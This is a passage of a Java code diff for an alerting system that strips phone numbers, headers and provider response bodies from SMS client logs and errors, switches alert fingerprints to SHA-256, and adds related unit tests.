return ALGORITHM + " Credential=" + accessKeyId + ",SignedHeaders=host;x-acs-action;x-acs-content-sha256;x-acs-date;" + "x-acs-signature-nonce;x-acs-version,Signature=" + signature;
|
||||
} catch (Exception e) {
|
||||
LogUtil.warn(logger, "Failed to calculate authorization {0}", e.getMessage());
|
||||
log.warn("Failed to calculate Alibaba Cloud authorization, failure type: {}",
|
||||
e.getClass().getSimpleName());
|
||||
throw new RuntimeException("Failed to calculate authorization", e);
|
||||
}
|
||||
}
|
||||
|
||||
+13
-14
@@ -40,7 +40,6 @@ import java.nio.charset.StandardCharsets;
|
||||
import java.time.Instant;
|
||||
import java.time.ZoneOffset;
|
||||
import java.time.format.DateTimeFormatter;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.Map;
|
||||
@@ -116,11 +115,14 @@ public class AwsSmsClientImpl implements SmsClient {
|
||||
URI requestUri = new URI(endpoint);
|
||||
|
||||
HttpPost httpPost = createHttpPost(requestUri, amzDate, payloadInString);
|
||||
log.info("Sending AWS SMS request to {}", requestUri + "," + "headers: " + Arrays.toString(httpPost.getAllHeaders()));
|
||||
executeRequest(httpClient, httpPost, phoneNumber);
|
||||
log.debug("Sending SMS request via AWS");
|
||||
executeRequest(httpClient, httpPost);
|
||||
} catch (SendMessageException e) {
|
||||
log.warn("Failed to send SMS via AWS");
|
||||
throw e;
|
||||
} catch (Exception e) {
|
||||
log.warn("Failed to send SMS: {}", e.getMessage());
|
||||
throw new SendMessageException(e.getMessage());
|
||||
log.warn("Failed to send SMS via AWS, failure type: {}", e.getClass().getSimpleName());
|
||||
throw SmsFailureMessages.requestFailed("AWS SMS");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -149,28 +151,27 @@ public class AwsSmsClientImpl implements SmsClient {
|
||||
return httpPost;
|
||||
}
|
||||
|
||||
private void executeRequest(CloseableHttpClient httpClient, HttpPost httpPost, String phoneNumber) throws Exception {
|
||||
private void executeRequest(CloseableHttpClient httpClient, HttpPost httpPost) throws Exception {
|
||||
try (CloseableHttpResponse response = httpClient.execute(httpPost)) {
|
||||
int statusCode = response.getStatusLine().getStatusCode();
|
||||
String responseBody = EntityUtils.toString(response.getEntity());
|
||||
log.info("SMS response status: {}, body: {}", statusCode, responseBody);
|
||||
log.debug("AWS SMS response status: {}", statusCode);
|
||||
|
||||
if (statusCode != 200) {
|
||||
throw new SendMessageException("HTTP request failed with status code: " + statusCode + ", response: " + responseBody);
|
||||
throw SmsFailureMessages.httpStatus("AWS SMS", statusCode);
|
||||
}
|
||||
|
||||
JsonNode jsonResponse = JsonUtil.fromJson(responseBody);
|
||||
if (jsonResponse == null) {
|
||||
throw new SendMessageException(statusCode + ":" + responseBody);
|
||||
throw SmsFailureMessages.invalidResponse("AWS SMS");
|
||||
}
|
||||
|
||||
JsonNode responseNode = jsonResponse.get("MessageId");
|
||||
if (responseNode == null) {
|
||||
throw new SendMessageException(statusCode + ":" + responseBody);
|
||||
throw SmsFailureMessages.invalidResponse("AWS SMS");
|
||||
}
|
||||
|
||||
String messageId = responseNode.asText();
|
||||
log.info("Successfully sent SMS to phone: {}, messageId: {}", phoneNumber, messageId);
|
||||
log.info("Successfully sent SMS via AWS");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -285,5 +286,3 @@ public class AwsSmsClientImpl implements SmsClient {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
+1
-5
@@ -246,11 +246,7 @@ public class NoticeConfigServiceImpl implements NoticeConfigService, CommandLine
|
||||
CacheFactory.setNoticeCache(rules);
|
||||
}
|
||||
|
||||
// The temporary rule is to forward all, and then implement more matching rules: alarm status selection, monitoring type selection, etc.
|
||||
// TODO: This matches an already-grouped alert against notice rules (group-then-route). It cannot fully
|
||||
// separate alerts that were grouped together but should reach different receivers, so a rule matched by
|
||||
// one alert still notifies the whole group. The ideal design is route-then-group (like Alertmanager):
|
||||
// route each single alert by its labels first, then group per receiver. Tracked as a follow-up to #3852.
|
||||
// Match grouped alerts here; dispatch scopes each notification to the single alerts matching its rule.
|
||||
return rules.stream()
|
||||
.filter(rule -> {
|
||||
if (!rule.isFilterAll()) {
|
||||
|
||||
+55
@@ -0,0 +1,55 @@
|
||||
/*
|
||||
* Licensed to the Apache Software Foundation (ASF) under one or more
|
||||
* contributor license agreements. See the NOTICE file distributed with
|
||||
* this work for additional information regarding copyright ownership.
|
||||
* The ASF licenses this file to You under the Apache License, Version 2.0
|
||||
* (the "License"); you may not use this file except in compliance with
|
||||
* the License. You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
package org.apache.hertzbeat.alert.service.impl;
|
||||
|
||||
import java.util.regex.Pattern;
|
||||
import org.apache.hertzbeat.common.support.exception.SendMessageException;
|
||||
|
||||
/**
|
||||
* Builds bounded SMS failures without copying provider-controlled response
|
||||
* bodies, request URLs, or transport exception messages.
|
||||
*/
|
||||
final class SmsFailureMessages {
|
||||
|
||||
private static final Pattern SAFE_PROVIDER_CODE = Pattern.compile("[-A-Za-z0-9_.]{1,64}");
|
||||
private static final String UNKNOWN_PROVIDER_CODE = "UNKNOWN_PROVIDER_ERROR";
|
||||
|
||||
private SmsFailureMessages() {
|
||||
}
|
||||
|
||||
static SendMessageException requestFailed(String providerLabel) {
|
||||
return new SendMessageException(providerLabel + " request failed");
|
||||
}
|
||||
|
||||
static SendMessageException httpStatus(String providerLabel, int statusCode) {
|
||||
return new SendMessageException(
|
||||
providerLabel + " request failed with HTTP status " + statusCode);
|
||||
}
|
||||
|
||||
static SendMessageException providerCode(String providerLabel, String code) {
|
||||
String safeCode = code != null && SAFE_PROVIDER_CODE.matcher(code).matches()
|
||||
? code
|
||||
: UNKNOWN_PROVIDER_CODE;
|
||||
return new SendMessageException(
|
||||
providerLabel + " request failed (code: " + safeCode + ")");
|
||||
}
|
||||
|
||||
static SendMessageException invalidResponse(String providerLabel) {
|
||||
return new SendMessageException(providerLabel + " provider returned an invalid response");
|
||||
}
|
||||
}
|
||||
+21
-15
@@ -61,7 +61,7 @@ public class SmsLocalSmsClientImpl implements SmsClient {
|
||||
@Override
|
||||
public void sendMessage(NoticeReceiver receiver, NoticeTemplate noticeTemplate, GroupAlert alert) {
|
||||
if (Objects.isNull(receiver) || Objects.isNull(alert)) {
|
||||
log.warn("receiver and alert can not be null! receiver: {}, alert:{}", receiver, alert);
|
||||
log.warn("SMSLocal receiver and alert cannot be null");
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -79,36 +79,42 @@ public class SmsLocalSmsClientImpl implements SmsClient {
|
||||
httpPost.setHeader("Token", config.getApiKey());
|
||||
httpPost.setEntity(new StringEntity(payload, StandardCharsets.UTF_8));
|
||||
|
||||
log.debug("Sending SMS request to {}, payload: {}", httpPost.getURI(), payload);
|
||||
log.debug("Sending SMS request via SMSLocal");
|
||||
|
||||
// send http request and handle response
|
||||
try (CloseableHttpResponse response = httpClient.execute(httpPost)) {
|
||||
int statusCode = response.getStatusLine().getStatusCode();
|
||||
String responseBody = EntityUtils.toString(response.getEntity());
|
||||
|
||||
log.debug("SMS response status: {}, body: {}", statusCode, responseBody);
|
||||
log.debug("SMSLocal response status: {}", statusCode);
|
||||
|
||||
if (statusCode != 200) {
|
||||
throw new SendMessageException("HTTP request failed with status code: " + statusCode);
|
||||
throw SmsFailureMessages.httpStatus("SMSLocal", statusCode);
|
||||
}
|
||||
|
||||
JsonNode jsonResponse = JsonUtil.fromJson(responseBody);
|
||||
JsonNode jsonNode = jsonResponse.get(0);
|
||||
if (Objects.isNull(jsonNode)) {
|
||||
log.warn("jsonResponse parse errorCode failed: {}", jsonResponse);
|
||||
return;
|
||||
if (jsonResponse == null || !jsonResponse.isArray() || jsonResponse.isEmpty()) {
|
||||
throw SmsFailureMessages.invalidResponse("SMSLocal");
|
||||
}
|
||||
String errorCode = jsonNode.get("errorCode").asText();
|
||||
JsonNode jsonNode = jsonResponse.get(0);
|
||||
JsonNode errorCodeNode = jsonNode.get("errorCode");
|
||||
if (errorCodeNode == null) {
|
||||
throw SmsFailureMessages.invalidResponse("SMSLocal");
|
||||
}
|
||||
String errorCode = errorCodeNode.asText();
|
||||
if (!SUCCESS_CODE.equals(errorCode)) {
|
||||
String msgid = jsonNode.get("id").asText();
|
||||
throw new SendMessageException(errorCode + ":" + msgid);
|
||||
throw SmsFailureMessages.providerCode("SMSLocal", errorCode);
|
||||
}
|
||||
|
||||
log.info("Successfully sent SMS to phone: {}", receiver.getPhone());
|
||||
log.info("Successfully sent SMS via SMSLocal");
|
||||
}
|
||||
} catch (SendMessageException e) {
|
||||
log.warn("Failed to send SMS via SMSLocal");
|
||||
throw e;
|
||||
} catch (Exception e) {
|
||||
log.error("Failed to send SMS: {}", e.getMessage());
|
||||
throw new SendMessageException(e.getMessage());
|
||||
log.warn("Failed to send SMS via SMSLocal, failure type: {}",
|
||||
e.getClass().getSimpleName());
|
||||
throw SmsFailureMessages.requestFailed("SMSLocal");
|
||||
}
|
||||
|
||||
}
|
||||
@@ -121,7 +127,7 @@ public class SmsLocalSmsClientImpl implements SmsClient {
|
||||
@Override
|
||||
public boolean checkConfig() {
|
||||
if (Objects.isNull(config) || Objects.isNull(config.getApiKey()) || config.getApiKey().isBlank()) {
|
||||
log.warn("smslocal properties can not be null: {}", config);
|
||||
log.warn("SMSLocal properties cannot be null or blank");
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
|
||||
+31
-16
@@ -134,41 +134,56 @@ public class TencentSmsClientImpl implements SmsClient {
|
||||
httpPost.setHeader("Authorization", authorization);
|
||||
httpPost.setEntity(new StringEntity(payload, StandardCharsets.UTF_8));
|
||||
|
||||
log.debug("Sending SMS request to {}, payload: {}", httpPost.getURI(), payload);
|
||||
log.debug("Sending SMS request via Tencent Cloud");
|
||||
|
||||
// send http request and handle response
|
||||
try (CloseableHttpResponse response = httpClient.execute(httpPost)) {
|
||||
int statusCode = response.getStatusLine().getStatusCode();
|
||||
String responseBody = EntityUtils.toString(response.getEntity());
|
||||
|
||||
log.debug("SMS response status: {}, body: {}", statusCode, responseBody);
|
||||
log.debug("Tencent Cloud SMS response status: {}", statusCode);
|
||||
|
||||
if (statusCode != 200) {
|
||||
throw new SendMessageException("HTTP request failed with status code: " + statusCode);
|
||||
throw SmsFailureMessages.httpStatus("Tencent Cloud SMS", statusCode);
|
||||
}
|
||||
|
||||
JsonNode jsonResponse = JsonUtil.fromJson(responseBody);
|
||||
if (jsonResponse == null) {
|
||||
throw SmsFailureMessages.invalidResponse("Tencent Cloud SMS");
|
||||
}
|
||||
JsonNode responseNode = jsonResponse.get("Response");
|
||||
if (responseNode == null) {
|
||||
throw SmsFailureMessages.invalidResponse("Tencent Cloud SMS");
|
||||
}
|
||||
JsonNode error = responseNode.get("Error");
|
||||
if (error != null) {
|
||||
String code = error.get("Code").asText();
|
||||
String message = error.get("Message").asText();
|
||||
throw new SendMessageException(code + ":" + message);
|
||||
JsonNode codeNode = error.get("Code");
|
||||
if (codeNode == null) {
|
||||
throw SmsFailureMessages.invalidResponse("Tencent Cloud SMS");
|
||||
}
|
||||
throw SmsFailureMessages.providerCode("Tencent Cloud SMS", codeNode.asText());
|
||||
}
|
||||
JsonNode sendStatusSet = responseNode.get("SendStatusSet");
|
||||
if (sendStatusSet != null && sendStatusSet.isArray() && sendStatusSet.size() > 0) {
|
||||
JsonNode firstStatus = sendStatusSet.get(0);
|
||||
String code = firstStatus.get("Code").asText();
|
||||
String message = firstStatus.get("Message").asText();
|
||||
if (!RESPONSE_OK.equals(code)) {
|
||||
throw new SendMessageException(code + ":" + message);
|
||||
}
|
||||
if (sendStatusSet == null || !sendStatusSet.isArray() || sendStatusSet.isEmpty()) {
|
||||
throw SmsFailureMessages.invalidResponse("Tencent Cloud SMS");
|
||||
}
|
||||
log.info("Successfully sent SMS to phones: {}", String.join(",", phones));
|
||||
JsonNode codeNode = sendStatusSet.get(0).get("Code");
|
||||
if (codeNode == null) {
|
||||
throw SmsFailureMessages.invalidResponse("Tencent Cloud SMS");
|
||||
}
|
||||
String code = codeNode.asText();
|
||||
if (!RESPONSE_OK.equals(code)) {
|
||||
throw SmsFailureMessages.providerCode("Tencent Cloud SMS", code);
|
||||
}
|
||||
log.info("Successfully sent SMS via Tencent Cloud");
|
||||
}
|
||||
} catch (SendMessageException e) {
|
||||
log.warn("Failed to send SMS via Tencent Cloud");
|
||||
throw e;
|
||||
} catch (Exception e) {
|
||||
log.warn("Failed to send SMS: {}", e.getMessage());
|
||||
throw new SendMessageException(e.getMessage());
|
||||
log.warn("Failed to send SMS via Tencent Cloud, failure type: {}",
|
||||
e.getClass().getSimpleName());
|
||||
throw SmsFailureMessages.requestFailed("Tencent Cloud SMS");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+18
-19
@@ -97,11 +97,15 @@ public class TwilioSmsClientImpl implements SmsClient {
|
||||
URI requestUri = new URI(endpoint);
|
||||
|
||||
HttpPost httpPost = createHttpPost(requestUri, phoneNumber, message);
|
||||
log.info("Sending Twilio SMS request to {}", requestUri);
|
||||
executeRequest(httpClient, httpPost, phoneNumber);
|
||||
log.debug("Sending SMS request via Twilio");
|
||||
executeRequest(httpClient, httpPost);
|
||||
} catch (SendMessageException e) {
|
||||
log.warn("Failed to send SMS via Twilio");
|
||||
throw e;
|
||||
} catch (Exception e) {
|
||||
log.warn("Failed to send SMS: {}", e.getMessage());
|
||||
throw new SendMessageException(e.getMessage());
|
||||
log.warn("Failed to send SMS via Twilio, failure type: {}",
|
||||
e.getClass().getSimpleName());
|
||||
throw SmsFailureMessages.requestFailed("Twilio SMS");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -121,41 +125,36 @@ public class TwilioSmsClientImpl implements SmsClient {
|
||||
httpPost.setEntity(new UrlEncodedFormEntity(parameters));
|
||||
return httpPost;
|
||||
} catch (Exception e) {
|
||||
log.error("Failed to create HTTP request: {}", e.getMessage());
|
||||
throw new SendMessageException(e.getMessage());
|
||||
log.warn("Failed to create Twilio SMS request, failure type: {}",
|
||||
e.getClass().getSimpleName());
|
||||
throw SmsFailureMessages.requestFailed("Twilio SMS");
|
||||
}
|
||||
}
|
||||
|
||||
private void executeRequest(CloseableHttpClient httpClient, HttpPost httpPost, String phoneNumber)
|
||||
throws Exception {
|
||||
private void executeRequest(CloseableHttpClient httpClient, HttpPost httpPost) throws Exception {
|
||||
try (CloseableHttpResponse response = httpClient.execute(httpPost)) {
|
||||
int statusCode = response.getStatusLine().getStatusCode();
|
||||
String responseBody = EntityUtils.toString(response.getEntity());
|
||||
log.info("SMS response status: {}, body: {}", statusCode, responseBody);
|
||||
log.debug("Twilio SMS response status: {}", statusCode);
|
||||
|
||||
if (statusCode < 200 || statusCode >= 300) {
|
||||
|
||||
if (responseBody.contains("21608")) {
|
||||
throw new SendMessageException(
|
||||
"The Twilio trial account can only send SMS to verified phone numbers");
|
||||
} else {
|
||||
throw new SendMessageException(
|
||||
"HTTP request failed with status code: " + statusCode + ", response: " + responseBody);
|
||||
throw SmsFailureMessages.providerCode("Twilio SMS", "21608");
|
||||
}
|
||||
throw SmsFailureMessages.httpStatus("Twilio SMS", statusCode);
|
||||
}
|
||||
|
||||
JsonNode jsonResponse = JsonUtil.fromJson(responseBody);
|
||||
if (jsonResponse == null) {
|
||||
throw new SendMessageException(statusCode + ":" + responseBody);
|
||||
throw SmsFailureMessages.invalidResponse("Twilio SMS");
|
||||
}
|
||||
|
||||
JsonNode sidNode = jsonResponse.get("sid");
|
||||
if (sidNode == null) {
|
||||
throw new SendMessageException(statusCode + ":" + responseBody);
|
||||
throw SmsFailureMessages.invalidResponse("Twilio SMS");
|
||||
}
|
||||
|
||||
String sid = sidNode.asText();
|
||||
log.info("Successfully sent SMS to phone: {}, sid: {}", phoneNumber, sid);
|
||||
log.info("Successfully sent SMS via Twilio");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+15
-10
@@ -102,14 +102,17 @@ public class UniSmsClientImpl implements SmsClient {
|
||||
String payload = JsonUtil.toJson(params);
|
||||
httpPost.setEntity(new StringEntity(payload, StandardCharsets.UTF_8));
|
||||
|
||||
log.info("Sending SMS request to UniSMS, payload: {}, url: {}", payload, url);
|
||||
log.debug("Sending SMS request via UniSMS");
|
||||
|
||||
try (CloseableHttpResponse response = httpClient.execute(httpPost)) {
|
||||
handleResponse(response, receiver.getPhone());
|
||||
handleResponse(response);
|
||||
}
|
||||
} catch (SendMessageException e) {
|
||||
log.warn("Failed to send SMS via UniSMS");
|
||||
throw e;
|
||||
} catch (Exception e) {
|
||||
log.error("Failed to send SMS via UniSMS: {}", e.getMessage());
|
||||
throw new SendMessageException(e.getMessage());
|
||||
log.warn("Failed to send SMS via UniSMS, failure type: {}", e.getClass().getSimpleName());
|
||||
throw SmsFailureMessages.requestFailed("UniSMS");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -145,24 +148,26 @@ public class UniSmsClientImpl implements SmsClient {
|
||||
return UUID.randomUUID().toString().replace("-", "").substring(0, 16);
|
||||
}
|
||||
|
||||
private void handleResponse(CloseableHttpResponse response, String phone) throws IOException {
|
||||
private void handleResponse(CloseableHttpResponse response) throws IOException {
|
||||
int statusCode = response.getStatusLine().getStatusCode();
|
||||
String responseBody = EntityUtils.toString(response.getEntity());
|
||||
|
||||
log.info("UniSMS response status: {}, body: {}", statusCode, responseBody);
|
||||
log.debug("UniSMS response status: {}", statusCode);
|
||||
|
||||
if (statusCode != 200) {
|
||||
throw new SendMessageException("HTTP request failed with status code: " + statusCode + ", response: " + responseBody);
|
||||
throw SmsFailureMessages.httpStatus("UniSMS", statusCode);
|
||||
}
|
||||
|
||||
JsonNode jsonResponse = JsonUtil.fromJson(responseBody);
|
||||
if (jsonResponse == null || jsonResponse.get("code") == null) {
|
||||
throw SmsFailureMessages.invalidResponse("UniSMS");
|
||||
}
|
||||
String code = jsonResponse.get("code").asText();
|
||||
if (!SUCCESS_CODE.equals(code)) {
|
||||
String message = jsonResponse.get("message").asText();
|
||||
throw new SendMessageException(code + ":" + message);
|
||||
throw SmsFailureMessages.providerCode("UniSMS", code);
|
||||
}
|
||||
|
||||
log.info("Successfully sent SMS to phone: {}", phone);
|
||||
log.info("Successfully sent SMS via UniSMS");
|
||||
}
|
||||
|
||||
@Override
|
||||
|
||||
+1
@@ -42,6 +42,7 @@ public class ZabbixExternAlertServiceImpl implements ExternAlertService {
|
||||
log.warn("parse extern alert content failed! content: {}", content);
|
||||
return;
|
||||
}
|
||||
alert.setId(null);
|
||||
alarmCommonReduce.reduceAndSendAlarm(alert);
|
||||
}
|
||||
|
||||
|
||||
@@ -17,10 +17,8 @@
|
||||
|
||||
package org.apache.hertzbeat.alert.util;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import java.util.Comparator;
|
||||
import java.util.Map;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* alert util
|
||||
@@ -28,13 +26,31 @@ import java.util.Objects;
|
||||
public class AlertUtil {
|
||||
|
||||
/**
|
||||
* calculate fingerprint
|
||||
* @param fingerPrints finger prints
|
||||
* Calculate an in-memory alert cache coordinate.
|
||||
*
|
||||
* <p>This value is rebuilt from persisted alert labels when the process
|
||||
* starts. It is not the durable {@code SingleAlert.fingerprint} used by
|
||||
* persistence, grouping, silence, or inhibition.</p>
|
||||
*
|
||||
* @param fingerPrints labels used by the calculator cache
|
||||
* @return deterministic cache coordinate
|
||||
*/
|
||||
public static String calculateFingerprint(Map<String, String> fingerPrints) {
|
||||
List<String> keyList = fingerPrints.keySet().stream().filter(Objects::nonNull).sorted().toList();
|
||||
List<String> valueList = fingerPrints.values().stream().filter(Objects::nonNull).sorted().toList();
|
||||
return Arrays.hashCode(keyList.toArray(new String[0])) + "-"
|
||||
+ Arrays.hashCode(valueList.toArray(new String[0]));
|
||||
StringBuilder canonicalLabels = new StringBuilder();
|
||||
fingerPrints.entrySet().stream()
|
||||
.sorted(Map.Entry.comparingByKey(Comparator.nullsFirst(Comparator.naturalOrder())))
|
||||
.forEach(entry -> {
|
||||
appendLengthPrefixed(canonicalLabels, entry.getKey());
|
||||
appendLengthPrefixed(canonicalLabels, entry.getValue());
|
||||
});
|
||||
return CryptoUtils.sha256Hex(canonicalLabels.toString());
|
||||
}
|
||||
|
||||
private static void appendLengthPrefixed(StringBuilder target, String value) {
|
||||
if (value == null) {
|
||||
target.append("-1:");
|
||||
return;
|
||||
}
|
||||
target.append(value.length()).append(':').append(value);
|
||||
}
|
||||
}
|
||||
|
||||
+26
-1
@@ -34,6 +34,7 @@ import java.util.Map;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||
import static org.junit.jupiter.api.Assertions.assertNull;
|
||||
import static org.junit.jupiter.api.Assertions.assertSame;
|
||||
import static org.mockito.Mockito.when;
|
||||
|
||||
/**
|
||||
@@ -132,4 +133,28 @@ public class AlarmCacheManagerTest {
|
||||
historicalSingleAlert = alarmCacheManager.getFiring(4L, fingerprint);
|
||||
assertNull(historicalSingleAlert);
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
void restartShouldRebuildCacheKeyWithoutChangingPersistedFingerprint() {
|
||||
Map<String, String> labels = Map.of(
|
||||
CommonConstants.LABEL_DEFINE_ID, "7",
|
||||
CommonConstants.LABEL_ALERT_NAME, "disk_full",
|
||||
"instance", "db-1");
|
||||
SingleAlert persistedAlert = SingleAlert.builder()
|
||||
.id(99L)
|
||||
.fingerprint("alertname:disk_full,define_id:7,instance:db-1")
|
||||
.labels(labels)
|
||||
.status(CommonConstants.ALERT_STATUS_FIRING)
|
||||
.build();
|
||||
when(singleAlertDao.querySingleAlertsByStatus(CommonConstants.ALERT_STATUS_FIRING))
|
||||
.thenReturn(Collections.singletonList(persistedAlert));
|
||||
|
||||
alarmCacheManager = new AlarmCacheManager(singleAlertDao);
|
||||
String rebuiltCacheKey = AlertUtil.calculateFingerprint(labels);
|
||||
SingleAlert resolved = alarmCacheManager.removeFiring(7L, rebuiltCacheKey);
|
||||
|
||||
assertSame(persistedAlert, resolved);
|
||||
assertEquals("alertname:disk_full,define_id:7,instance:db-1", resolved.getFingerprint());
|
||||
assertNull(alarmCacheManager.getFiring(7L, rebuiltCacheKey));
|
||||
}
|
||||
}
|
||||
|
||||
+160
-2
@@ -17,31 +17,38 @@
|
||||
|
||||
package org.apache.hertzbeat.alert.notice;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertFalse;
|
||||
import static org.junit.jupiter.api.Assertions.assertAll;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
import static org.mockito.ArgumentMatchers.any;
|
||||
import static org.mockito.ArgumentMatchers.anyByte;
|
||||
import static org.mockito.ArgumentMatchers.eq;
|
||||
import static org.mockito.Mockito.doAnswer;
|
||||
import static org.mockito.Mockito.doNothing;
|
||||
import static org.mockito.Mockito.times;
|
||||
import static org.mockito.Mockito.verify;
|
||||
import static org.mockito.Mockito.when;
|
||||
|
||||
import java.time.LocalDateTime;
|
||||
import java.util.Collections;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import org.apache.hertzbeat.alert.AlerterWorkerPool;
|
||||
import org.apache.hertzbeat.alert.config.AlertSseManager;
|
||||
import org.apache.hertzbeat.alert.service.NoticeConfigService;
|
||||
import org.apache.hertzbeat.common.entity.alerter.GroupAlert;
|
||||
import org.apache.hertzbeat.common.entity.alerter.NoticeReceiver;
|
||||
import org.apache.hertzbeat.common.entity.alerter.NoticeRule;
|
||||
import org.apache.hertzbeat.common.entity.alerter.NoticeTemplate;
|
||||
import org.apache.hertzbeat.common.entity.alerter.SingleAlert;
|
||||
import org.apache.hertzbeat.plugin.runner.PluginRunner;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.ArgumentCaptor;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
import org.apache.hertzbeat.common.entity.alerter.SingleAlert;
|
||||
import org.apache.hertzbeat.common.entity.alerter.NoticeTemplate;
|
||||
|
||||
/**
|
||||
* Test case for Alert Notice Dispatch
|
||||
@@ -180,4 +187,155 @@ class AlertNoticeDispatchTest {
|
||||
verify(alertNotifyHandler).send(eq(receiver), eq(template), eq(alert));
|
||||
verify(emitterManager).broadcast(any(String.class));
|
||||
}
|
||||
|
||||
@Test
|
||||
void testDispatchAlarmRecomputesNoticeFromAlertsMatchingRuleLabels() {
|
||||
LocalDateTime matchingCreated = LocalDateTime.of(2026, 7, 30, 10, 0);
|
||||
LocalDateTime matchingUpdated = LocalDateTime.of(2026, 7, 30, 10, 5);
|
||||
SingleAlert matchingAlert = SingleAlert.builder()
|
||||
.fingerprint("matching")
|
||||
.labels(Map.of("department", "algorithm", "service", "checkout", "severity", "warning"))
|
||||
.annotations(Map.of("summary", "algorithm summary", "runbook", "shared runbook"))
|
||||
.content("matching-content")
|
||||
.status("resolved")
|
||||
.gmtCreate(matchingCreated)
|
||||
.gmtUpdate(matchingUpdated)
|
||||
.build();
|
||||
SingleAlert unrelatedAlert = SingleAlert.builder()
|
||||
.fingerprint("unrelated")
|
||||
.labels(Map.of("department", "infra", "service", "checkout", "severity", "critical"))
|
||||
.annotations(Map.of("summary", "infra summary", "runbook", "shared runbook"))
|
||||
.content("unrelated-content")
|
||||
.status("firing")
|
||||
.gmtCreate(matchingCreated.minusHours(1))
|
||||
.gmtUpdate(matchingUpdated.plusHours(1))
|
||||
.build();
|
||||
GroupAlert groupedAlert = GroupAlert.builder()
|
||||
.id(2L)
|
||||
.groupKey("department:infra,service:checkout")
|
||||
.status("firing")
|
||||
.groupLabels(Map.of("department", "infra", "service", "checkout"))
|
||||
.commonLabels(Map.of("service", "checkout"))
|
||||
.commonAnnotations(Map.of("runbook", "shared runbook"))
|
||||
.alertFingerprints(List.of("matching", "unrelated"))
|
||||
.gmtCreate(matchingCreated.minusHours(1))
|
||||
.gmtUpdate(matchingUpdated.plusHours(1))
|
||||
.alerts(List.of(matchingAlert, unrelatedAlert))
|
||||
.build();
|
||||
NoticeTemplate template = NoticeTemplate.builder().id(1L).build();
|
||||
NoticeRule rule = NoticeRule.builder()
|
||||
.filterAll(false)
|
||||
.labels(Map.of("department", "algorithm"))
|
||||
.receiverId(List.of(1L))
|
||||
.templateId(1L)
|
||||
.build();
|
||||
|
||||
when(alertStoreHandler.store(groupedAlert)).thenReturn(groupedAlert);
|
||||
when(noticeConfigService.getReceiverFilterRule(groupedAlert)).thenReturn(List.of(rule));
|
||||
when(noticeConfigService.getReceiverById(1L)).thenReturn(receiver);
|
||||
when(noticeConfigService.getOneTemplateById(1L)).thenReturn(template);
|
||||
doAnswer(invocation -> {
|
||||
Runnable task = invocation.getArgument(1);
|
||||
task.run();
|
||||
return null;
|
||||
}).when(workerPool).executeNotify(anyByte(), any(Runnable.class));
|
||||
|
||||
alertNoticeDispatch.dispatchAlarm(groupedAlert);
|
||||
|
||||
ArgumentCaptor<GroupAlert> noticeAlert = ArgumentCaptor.forClass(GroupAlert.class);
|
||||
verify(alertNotifyHandler).send(eq(receiver), eq(template), noticeAlert.capture());
|
||||
GroupAlert scopedAlert = noticeAlert.getValue();
|
||||
assertAll(
|
||||
() -> assertEquals(List.of(matchingAlert), scopedAlert.getAlerts()),
|
||||
() -> assertEquals(List.of("matching"), scopedAlert.getAlertFingerprints()),
|
||||
() -> assertEquals("resolved", scopedAlert.getStatus()),
|
||||
() -> assertEquals(
|
||||
Map.of("department", "algorithm", "service", "checkout"),
|
||||
scopedAlert.getGroupLabels()),
|
||||
() -> assertEquals(
|
||||
Map.of("department", "algorithm", "service", "checkout", "severity", "warning"),
|
||||
scopedAlert.getCommonLabels()),
|
||||
() -> assertEquals(
|
||||
Map.of("summary", "algorithm summary", "runbook", "shared runbook"),
|
||||
scopedAlert.getCommonAnnotations()),
|
||||
() -> assertEquals("department:algorithm,service:checkout", scopedAlert.getGroupKey()),
|
||||
() -> assertEquals(matchingCreated, scopedAlert.getGmtCreate()),
|
||||
() -> assertEquals(matchingUpdated, scopedAlert.getGmtUpdate()),
|
||||
() -> assertEquals(2, groupedAlert.getAlerts().size()),
|
||||
() -> assertEquals("firing", groupedAlert.getStatus()),
|
||||
() -> assertEquals(Map.of("service", "checkout"), groupedAlert.getCommonLabels()));
|
||||
}
|
||||
|
||||
@Test
|
||||
void testDispatchAlarmScopesMultipleRulesForTheSameReceiverIndependently() {
|
||||
SingleAlert algorithmAlert = SingleAlert.builder()
|
||||
.fingerprint("algorithm")
|
||||
.labels(Map.of("department", "algorithm", "service", "checkout"))
|
||||
.annotations(Map.of("summary", "algorithm firing", "runbook", "algorithm runbook"))
|
||||
.status("firing")
|
||||
.build();
|
||||
SingleAlert algorithmResolvedAlert = SingleAlert.builder()
|
||||
.fingerprint("algorithm-resolved")
|
||||
.labels(Map.of("department", "algorithm", "service", "checkout"))
|
||||
.annotations(Map.of("summary", "algorithm resolved", "runbook", "algorithm runbook"))
|
||||
.status("resolved")
|
||||
.build();
|
||||
SingleAlert infrastructureAlert = SingleAlert.builder()
|
||||
.fingerprint("infra")
|
||||
